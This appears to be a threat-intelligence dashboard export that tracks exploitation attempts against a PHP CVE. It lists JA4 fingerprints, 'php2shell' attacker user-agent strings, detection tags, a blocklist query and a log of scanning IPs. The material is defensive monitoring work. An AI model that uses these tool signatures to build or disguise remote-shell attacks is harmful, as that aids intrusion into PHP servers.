JA4H (any cookie values)ge11cr07enus_6f5b1826d533_fe81d65a9ab0_*7102026-11-08 15:44:25inconsistent (fresh count still low)raw_data.http.ja4h:ge11cr07enus_6f5b1826d533_fe81d65a9ab0_* last_seen:7d (workspace_label:greynoise)
JA4H (any cookie values)ge11cr11enus_8f3e751a7a75_fe81d65a9ab0_*132026-11-08 15:44:25inconsistent (fresh count still low)raw_data.http.ja4h:ge11cr11enus_8f3e751a7a75_fe81d65a9ab0_* last_seen:7d (workspace_label:greynoise)
JA4H (any cookie values)po11cn040000_0f012dde03cf_fe81d65a9ab0_*12392026-11-08 15:44:25inconsistent (fresh count still low)raw_data.http.ja4h:po11cn040000_0f012dde03cf_fe81d65a9ab0_* last_seen:7d (workspace_label:greynoise)
JA4H (any cookie values)po11cn040000_22501c21d137_fe81d65a9ab0_*122026-11-08 15:44:25inconsistent (fresh count still low)raw_data.http.ja4h:po11cn040000_22501c21d137_fe81d65a9ab0_* last_seen:7d (workspace_label:greynoise)
JA4H (any cookie values)po11cn040000_449ce18422ed_fe81d65a9ab0_*2112026-11-08 15:44:25inconsistent (fresh count still low)raw_data.http.ja4h:po11cn040000_449ce18422ed_fe81d65a9ab0_* last_seen:7d (workspace_label:greynoise)
JA4H (any cookie values)po11cn040000_59bc4d4bbda3_fe81d65a9ab0_*132026-11-08 15:44:25inconsistent (fresh count still low)raw_data.http.ja4h:po11cn040000_59bc4d4bbda3_fe81d65a9ab0_* last_seen:7d (workspace_label:greynoise)
JA4H (any cookie values)po11cn050000_0a87faf13e54_fe81d65a9ab0_*5112026-11-08 15:44:25inconsistent (fresh count still low)raw_data.http.ja4h:po11cn050000_0a87faf13e54_fe81d65a9ab0_* last_seen:7d (workspace_label:greynoise)
JA4H (any cookie values)po11cn050000_197af124696f_fe81d65a9ab0_*342026-11-08 15:44:25inconsistent (fresh count still low)raw_data.http.ja4h:po11cn050000_197af124696f_fe81d65a9ab0_* last_seen:7d (workspace_label:greynoise)
JA4H (any cookie values)po11cn050000_fc0cdcb5627d_fe81d65a9ab0_*122026-11-08 15:44:25inconsistent (fresh count still low)raw_data.http.ja4h:po11cn050000_fc0cdcb5627d_fe81d65a9ab0_* last_seen:7d (workspace_label:greynoise)
JA4H (any cookie values)po11cn060000_3ad3754423e3_fe81d65a9ab0_*022026-11-08 15:44:25inconsistent (fresh count still low)raw_data.http.ja4h:po11cn060000_3ad3754423e3_fe81d65a9ab0_* last_seen:7d (workspace_label:greynoise)
JA4H (any cookie values)po11cn060000_5bd2b7787cb0_fe81d65a9ab0_*022026-11-08 15:44:25inconsistent (fresh count still low)raw_data.http.ja4h:po11cn060000_5bd2b7787cb0_fe81d65a9ab0_* last_seen:7d (workspace_label:greynoise)
JA4H (any cookie values)po11cn060000_657aa44364eb_fe81d65a9ab0_*122026-11-08 15:44:25inconsistent (fresh count still low)raw_data.http.ja4h:po11cn060000_657aa44364eb_fe81d65a9ab0_* last_seen:7d (workspace_label:greynoise)
JA4H (any cookie values)po11cn060000_a35477c4bdb5_16a6c356ce5d_*10172026-11-08 15:44:25inconsistent (fresh count still low)raw_data.http.ja4h:po11cn060000_a35477c4bdb5_16a6c356ce5d_* last_seen:7d (workspace_label:greynoise)
JA4H (any cookie values)po11cn060000_f35f2e0a87d7_fe81d65a9ab0_*032026-11-08 15:44:25inconsistent (fresh count still low)raw_data.http.ja4h:po11cn060000_f35f2e0a87d7_fe81d65a9ab0_* last_seen:7d (workspace_label:greynoise)
JA4H (any cookie values)po11cn070000_4cd96399693b_e2701fe48dda_*092026-11-08 15:44:25inconsistent (fresh count still low)raw_data.http.ja4h:po11cn070000_4cd96399693b_e2701fe48dda_* last_seen:7d (workspace_label:greynoise)
JA4H (any cookie values)po11cn070000_ba9cdd0f42e2_fe81d65a9ab0_*022026-11-08 15:44:25inconsistent (fresh count still low)raw_data.http.ja4h:po11cn070000_ba9cdd0f42e2_fe81d65a9ab0_* last_seen:7d (workspace_label:greynoise)
JA4H (any cookie values)po11cn070000_f2c94c962b3d_fe81d65a9ab0_*1192026-11-08 15:44:25inconsistent (fresh count still low)raw_data.http.ja4h:po11cn070000_f2c94c962b3d_fe81d65a9ab0_* last_seen:7d (workspace_label:greynoise)
JA4H (any cookie values)po11cn07enus_700dafde20b9_fe81d65a9ab0_*1162026-11-08 15:44:25inconsistent (fresh count still low)raw_data.http.ja4h:po11cn07enus_700dafde20b9_fe81d65a9ab0_* last_seen:7d (workspace_label:greynoise)
JA4H (any cookie values)po11cr09enus_768f65b7cd22_fe81d65a9ab0_*352026-11-08 15:44:25inconsistent (fresh count still low)raw_data.http.ja4h:po11cr09enus_768f65b7cd22_fe81d65a9ab0_* last_seen:7d (workspace_label:greynoise)
JA4H (any cookie values)po11cr09enus_89208137837d_f381814948c2_*022026-11-08 15:44:25inconsistent (fresh count still low)raw_data.http.ja4h:po11cr09enus_89208137837d_f381814948c2_* last_seen:7d (workspace_label:greynoise)
JA4H (any cookie values)po11cr09enus_89208137837d_fe81d65a9ab0_*6122026-11-08 15:44:25inconsistent (fresh count still low)raw_data.http.ja4h:po11cr09enus_89208137837d_fe81d65a9ab0_* last_seen:7d (workspace_label:greynoise)
JA4H (any cookie values)po11cr17enus_97814abc7cb1_fe81d65a9ab0_*122026-11-08 15:44:25inconsistent (fresh count still low)raw_data.http.ja4h:po11cr17enus_97814abc7cb1_fe81d65a9ab0_* last_seen:7d (workspace_label:greynoise)
JA4H (any cookie values)po11cr19enus_2912d3efb214_fe81d65a9ab0_*242026-11-08 15:44:25inconsistent (fresh count still low)raw_data.http.ja4h:po11cr19enus_2912d3efb214_fe81d65a9ab0_* last_seen:7d (workspace_label:greynoise)
JA4T65392_2-4-8-1-3_536_7052026-11-08 15:44:25inconsistent (fresh count still low)raw_data.tcp.ja4t:65392_2-4-8-1-3_536_7 last_seen:7d (workspace_label:greynoise)
JA4T65464_2-4-8-1-3_1300_10022026-11-08 15:44:25inconsistent (fresh count still low)raw_data.tcp.ja4t:65464_2-4-8-1-3_1300_10 last_seen:7d (workspace_label:greynoise)
UAp2s-scan022026-11-08 15:44:25inconsistent (fresh count still low)raw_data.http.useragent:"p2s-scan" last_seen:7d (workspace_label:greynoise)
UAphp2shell-109618122026-11-08 15:44:25inconsistent (fresh count still low)raw_data.http.useragent:"php2shell-109618" last_seen:7d (workspace_label:greynoise)
UAphp2shell-auto/1.0032026-11-08 15:44:25inconsistent (fresh count still low)raw_data.http.useragent:"php2shell-auto/1.0" last_seen:7d (workspace_label:greynoise)
UAphp2shell-auto/2.07102026-11-08 15:44:25inconsistent (fresh count still low)raw_data.http.useragent:"php2shell-auto/2.0" last_seen:7d (workspace_label:greynoise)
UAphp2shell-check/1.04102026-11-08 15:44:25inconsistent (fresh count still low)raw_data.http.useragent:"php2shell-check/1.0" last_seen:7d (workspace_label:greynoise)
UAphp2shell-checker022026-11-08 15:44:25inconsistent (fresh count still low)raw_data.http.useragent:"php2shell-checker" last_seen:7d (workspace_label:greynoise)
UAphp2shell-rce3132026-11-08 15:44:25inconsistent (fresh count still low)raw_data.http.useragent:"php2shell-rce" last_seen:7d (workspace_label:greynoise)
UAphp2shell-runner/1.0122026-11-08 15:44:25inconsistent (fresh count still low)raw_data.http.useragent:"php2shell-runner/1.0" last_seen:7d (workspace_label:greynoise)
UAphp2shell-scan/1.0122026-11-08 15:44:25inconsistent (fresh count still low)raw_data.http.useragent:"php2shell-scan/1.0" last_seen:7d (workspace_label:greynoise)
UAphp2shell-scan/109618122026-11-08 15:44:25inconsistent (fresh count still low)raw_data.http.useragent:"php2shell-scan/109618" last_seen:7d (workspace_label:greynoise)
UAphp2shell/1.05102026-11-08 15:44:25inconsistent (fresh count still low)raw_data.http.useragent:"php2shell/1.0" last_seen:7d (workspace_label:greynoise)
UAshellflow-php2shell/1.02132026-11-08 15:44:25inconsistent (fresh count still low)raw_data.http.useragent:"shellflow-php2shell/1.0" last_seen:7d (workspace_label:greynoise)
Interactive charts (5)

Hover for IP-level detail, drag to zoom, double-click to reset, click legend entries to toggle series.

Hourly activity: classification and sensor hits
Tracked IP growth by snapshot
Infrastructure Providers
Technical Similarity Clustering
Newly tracked IPs by infrastructure age
GreyNoise Tags (5)
LabelNameTag IDIntentionBlockCVEsDiscoveredLast def changeVia
Memory Corruption ExploitPHP CVE-2026-109618 Memory Corruption Exploit Attemptd3f0567e-8b87-46c1-9bfe-8ec577991b23maliciousTrueCVE-2026-1096182026-10-27 21:49:042026-10-27 21:49:04cve:CVE-2026-109618
Request Memory ExhaustionPHP Request Memory Exhaustion Attempt31675f66-f478-4b59-ac4c-d221cba92c7dmaliciousTrueCVE-2026-1096182026-10-27 21:49:042026-10-27 21:49:04cve:CVE-2026-109618
ActivityPHP Session Upload Progress Activity6349af21-d322-47b7-a7dc-b393c227a724suspiciousFalsenone2026-10-27 21:49:042026-10-27 21:49:04keyword:Session Upload Progress
Session PoisoningPHP Session Upload Progress Session Poisoning Attemptf8745bed-1d32-48ca-bb5d-09cae6dcf0cfmaliciousTruenone2026-10-27 21:49:042026-10-27 21:49:04keyword:Session Upload Progress
php2shell-Labeled Toolingphp2shell-Labeled Tooling4824289f-4ce4-4802-b8fc-2de11d25e1cdsuspiciousFalsenone2026-10-27 21:49:042026-10-27 21:49:04keyword:php2shell
Queries

Tracked tags:

(tag_ids:"d3f0567e-8b87-46c1-9bfe-8ec577991b23" OR tag_ids:"31675f66-f478-4b59-ac4c-d221cba92c7d" OR tag_ids:"6349af21-d322-47b7-a7dc-b393c227a724" OR tag_ids:"f8745bed-1d32-48ca-bb5d-09cae6dcf0cf" OR tag_ids:"4824289f-4ce4-4802-b8fc-2de11d25e1cd")

Blocklist (block-recommended family tags):

(tag_ids:"31675f66-f478-4b59-ac4c-d221cba92c7d" OR tag_ids:"d3f0567e-8b87-46c1-9bfe-8ec577991b23" OR tag_ids:"f8745bed-1d32-48ca-bb5d-09cae6dcf0cf") classification:malicious spoofable:false last_seen:30d
Change log (10 events in window)
Time (UTC)KindSubjectDetail
2026-11-08 04:44:15ip_new159.26.122.28suspicious | Activity + php2shell-Labeled Tooling | Proton AG (AS208172) Argentina | hosting | GN first_seen 2026-06-19
2026-11-08 04:44:15ip_new193.233.193.24suspicious | Activity | ADCDATA.COM (AS135330) Hong Kong | hosting | GN first_seen 2026-11-08
2026-11-08 07:14:23ip_new143.20.12.26suspicious | php2shell-Labeled Tooling | Joel Conceição trading as WebTejo (AS214913) Portugal | hosting | GN first_seen 2026-11-08
2026-11-08 08:44:23ip_tags159.26.122.28Activity + php2shell-Labeled Tooling -> Activity + Memory Corruption Exploit + php2shell-Labeled Tooling
2026-11-08 08:44:23ip_class159.26.122.28suspicious -> malicious
2026-11-08 10:14:27ip_new65.111.25.216suspicious | Activity | 3xK Tech GmbH (AS200373) Germany | hosting | GN first_seen 2025-12-11
2026-11-08 10:14:27ip_new104.207.54.238suspicious | Activity | 3xK Tech GmbH (AS200373) Germany | hosting | GN first_seen 2024-02-16
2026-11-08 10:14:27ip_new149.202.58.227suspicious | Activity + php2shell-Labeled Tooling | OVH SAS (AS16276) France | hosting | GN first_seen 2026-11-08
2026-11-08 14:44:22ip_new45.3.55.172malicious | Activity + Memory Corruption Exploit + php2shell-Labeled Tooling | 3xK Tech GmbH (AS200373) Germany | hosting | GN first_seen 2025-12-11
2026-11-08 15:44:23ip_new172.132.48.142malicious | Activity | Microsoft Corporation (AS8075) United States | hosting / Github Actions | GN first_seen 2026-11-08